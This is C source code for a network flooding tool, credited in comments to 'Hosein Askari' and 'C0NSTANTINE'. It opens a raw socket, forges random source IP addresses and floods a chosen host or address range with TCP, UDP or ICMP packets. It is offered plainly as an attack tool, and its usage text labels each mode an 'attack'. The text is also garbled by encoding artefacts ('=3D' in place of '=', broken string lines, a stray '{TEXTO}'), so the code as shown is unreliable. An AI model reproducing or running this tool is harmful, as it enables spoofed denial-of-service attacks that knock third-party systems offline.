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//Exploited By Hosein Askari #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/types.h> #ifdef F_PASS #include <sys/stat.h> #endif #include <netinet/in_systm.h> #include <sys/socket.h> #include <string.h> #include <time.h> #ifndef __USE_BSD # define __USE_BSD #endif #ifndef __FAVOR_BSD # define __FAVOR_BSD #endif #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/udp.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #ifdef LINUX # define FIX(x) htons(x) #else # define FIX(x) (x) #endif #define TCP_ACK 1 #define TCP_FIN 2 #define TCP_SYN 4 #define TCP_RST 8 #define UDP_CFF 16 #define ICMP_ECHO_G 32 #define TCP_NOF 64 #define TCP_URG 128 #define TH_NOF 0x0 #define TCP_ATTACK() (a_flags & TCP_ACK ||\ a_flags & TCP_FIN ||\ a_flags & TCP_SYN ||\ a_flags & TCP_RST ||\ a_flags & TCP_NOF ||\ a_flags & TCP_URG ) #define UDP_ATTACK() (a_flags & UDP_CFF) #define ICMP_ATTACK() (a_flags & ICMP_ECHO_G) #define CHOOSE_DST_PORT() dst_sp =3D=3D 0 ?\ random () :\ htons(dst_sp + (random() % (dst_ep -dst_sp +1))); #define CHOOSE_SRC_PORT() src_sp =3D=3D 0 ?\ random () :\ htons(src_sp + (random() % (src_ep -src_sp +1))); #define SEND_PACKET() if (sendto(rawsock,\ &packet,\ (sizeof packet),\ 0,\ (struct sockaddr *)&target,\ sizeof target) < 0) {\ perror("sendto");\ exit(-1);\ } #define BANNER_CKSUM 54018 u_long lookup(const char *host); unsigned short in_cksum(unsigned short *addr, int len); static void inject_iphdr(struct ip *ip, u_char p, u_char len); char *class2ip(const char *class); static void send_tcp(u_char th_flags); static void send_udp(u_char garbage); static void send_icmp(u_char garbage); char *get_plain(const char *crypt_file, const char *xor_data_key); static void usage(const char *argv0); u_long dstaddr; u_short dst_sp, dst_ep, src_sp, src_ep; char *src_class, *dst_class; int a_flags, rawsock; struct sockaddr_in target; const char *banner =3D "Written By C0NSTANTINE"; struct pseudo_hdr { u_long saddr, daddr; u_char mbz, ptcl; u_short tcpl; }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct { int gv; int kv; void (*f)(u_char); } a_list[] =3D { { TCP_ACK, TH_ACK, send_tcp }, { TCP_FIN, TH_FIN, send_tcp }, { TCP_SYN, TH_SYN, send_tcp }, { TCP_RST, TH_RST, send_tcp }, { TCP_NOF, TH_NOF, send_tcp }, { TCP_URG, TH_URG, send_tcp }, { UDP_CFF, 0, send_udp }, { ICMP_ECHO_G, ICMP_ECHO, send_icmp }, { 0, 0, (void *)NULL }, }; int main(int argc, char *argv[]) { int n, i, on =3D 1; int b_link; #ifdef F_PASS struct stat sb; #endif unsigned int until; a_flags =3D dstaddr =3D i =3D 0; dst_sp =3D dst_ep =3D src_sp =3D src_ep =3D 0; until =3D b_link =3D -1; src_class =3D dst_class =3D NULL; while ( (n =3D getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) !=3D -1) { char *p; switch (n) { case 'T': switch (atoi(optarg)) { case 0: a_flags |=3D TCP_ACK; break; case 1: a_flags |=3D TCP_FIN; break; case 2: a_flags |=3D TCP_RST; break; case 3: a_flags |=3D TCP_SYN; break; case 4: a_flags |=3D TCP_URG; break; } break; case 'U': a_flags |=3D UDP_CFF; break; case 'I': a_flags |=3D ICMP_ECHO_G; break; case 'N': a_flags |=3D TCP_NOF; break; case 's': src_class =3D optarg; break; case 'h': dstaddr =3D lookup(optarg); break; case 'd': dst_class =3D optarg; i =3D 1; break; case 'p': if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL) usage(argv[0]); dst_sp =3D atoi(optarg); dst_ep =3D atoi(p +1); break; case 'q': if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL) usage(argv[0]); src_sp =3D atoi(optarg); src_ep =3D atoi(p +1); break; case 'l': b_link =3D atoi(optarg); if (b_link <=3D 0 || b_link > 100) usage(argv[0]); break; case 't': until =3D time(0) +atoi(optarg); break; default: usage(argv[0]); break; } } if ( (!dstaddr && !i) || (dstaddr && i) || (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) || (src_sp !=3D 0 && src_sp > src_ep) || (dst_sp !=3D 0 && dst_sp > dst_ep)) usage(argv[0]); srandom(time(NULL) ^ getpid()); if ( (rawsock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(-1); } if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(-1); } target.sin_family =3D AF_INET; for (n =3D 0; ; ) { if (b_link !=3D -1 && random() % 100 +1 > b_link) { if (random() % 200 +1 > 199) usleep(1); continue; } for (i =3D 0; a_list[i].f !=3D NULL; ++i) { if (a_list[i].gv & a_flags) a_list[i].f(a_list[i].kv); } if (n++ =3D=3D 100) { if (until !=3D -1 && time(0) >=3D until) break; n =3D 0; } } exit(0); } u_long lookup(const char *host) { struct hostent *hp; if ( (hp =3D gethostbyname(host)) =3D=3D NULL) { perror("gethostbyname"); exit(-1); } return *(u_long *)hp->h_addr; } #define RANDOM() (int) random() % 255 +1 char * class2ip(const char *class) { static char ip[16]; int i, j; for (i =3D 0, j =3D 0; class[i] !=3D '{TEXTO}'; ++i) if (class[i] =3D=3D '.') ++j; switch (j) { case 0: sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM()); break; case 1: sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM()); break; case 2: sprintf(ip, "%s.%d", class, RANDOM()); break; default: strncpy(ip, class, 16); break; } return ip; } unsigned short in_cksum(unsigned short *addr, int len) { int nleft =3D len; int sum =3D 0; unsigned short *w =3D addr; unsigned short answer =3D 0; while (nleft > 1) { sum +=3D *w++; nleft -=3D 2; } if (nleft =3D=3D 1) { *(unsigned char *) (&answer) =3D *(unsigned char *)w; sum +=3D answer; } sum =3D (sum >> 16) + (sum & 0xffff); sum +=3D (sum >> 16); answer =3D ~sum; return answer; } static void inject_iphdr(struct ip *ip, u_char p, u_char len) { ip->ip_hl =3D 5; ip->ip_v =3D 4; ip->ip_p =3D p; ip->ip_tos =3D 0x08; /* 0x08 */ ip->ip_id =3D random(); ip->ip_len =3D len; ip->ip_off =3D 0; ip->ip_ttl =3D 255; ip->ip_dst.s_addr =3D dst_class !=3D NULL ? inet_addr(class2ip(dst_class)) : dstaddr; ip->ip_src.s_addr =3D src_class !=3D NULL ? inet_addr(class2ip(src_class)) : random(); target.sin_addr.s_addr =3D ip->ip_dst.s_addr; } static void send_tcp(u_char th_flags) { struct cksum cksum; struct packet { struct ip ip; struct tcphdr tcp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet)); packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20); cksum.pseudo.daddr =3D dstaddr; cksum.pseudo.mbz =3D 0; cksum.pseudo.ptcl =3D IPPROTO_TCP; cksum.pseudo.tcpl =3D htons(sizeof(struct tcphdr)); cksum.pseudo.saddr =3D packet.ip.ip_src.s_addr; packet.tcp.th_flags =3D random(); packet.tcp.th_win =3D random(); packet.tcp.th_seq =3D random(); packet.tcp.th_ack =3D random(); packet.tcp.th_off =3D 5; packet.tcp.th_urp =3D 0; packet.tcp.th_sport =3D CHOOSE_SRC_PORT(); packet.tcp.th_dport =3D CHOOSE_DST_PORT(); cksum.tcp =3D packet.tcp; packet.tcp.th_sum =3D in_cksum((void *)&cksum, sizeof(cksum)); SEND_PACKET(); } static void send_udp(u_char garbage) { struct packet { struct ip ip; struct udphdr udp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet)); packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20); packet.udp.uh_sport =3D CHOOSE_SRC_PORT(); packet.udp.uh_dport =3D CHOOSE_DST_PORT(); packet.udp.uh_ulen =3D htons(sizeof packet.udp); packet.udp.uh_sum =3D 0; SEND_PACKET(); } static void send_icmp(u_char gargabe) { struct packet { struct ip ip; struct icmp icmp; } packet; memset(&packet, 0, sizeof packet); inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet)); packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20); packet.icmp.icmp_type =3D ICMP_ECHO; packet.icmp.icmp_code =3D 0; packet.icmp.icmp_cksum =3D htons( ~(ICMP_ECHO << 8)); for(int pp=3D0;pp<=3D1000;pp++) {SEND_PACKET(); pp++; } } static void usage(const char *argv0) { printf("%s \n", banner); printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\= n"); printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m= \n"); printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0= m\n"); printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;= 37m]\e[0m\n"); printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;3= 7m)\e[0m\n"); printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[= 0m\n"); printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\= n"); printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom= \e[0m\e[1;37m)\e[0m\n"); printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m= \e[1;37m)\e[0m\n"); printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n= "); printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n")= ; printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0)= ; exit(-1); } |
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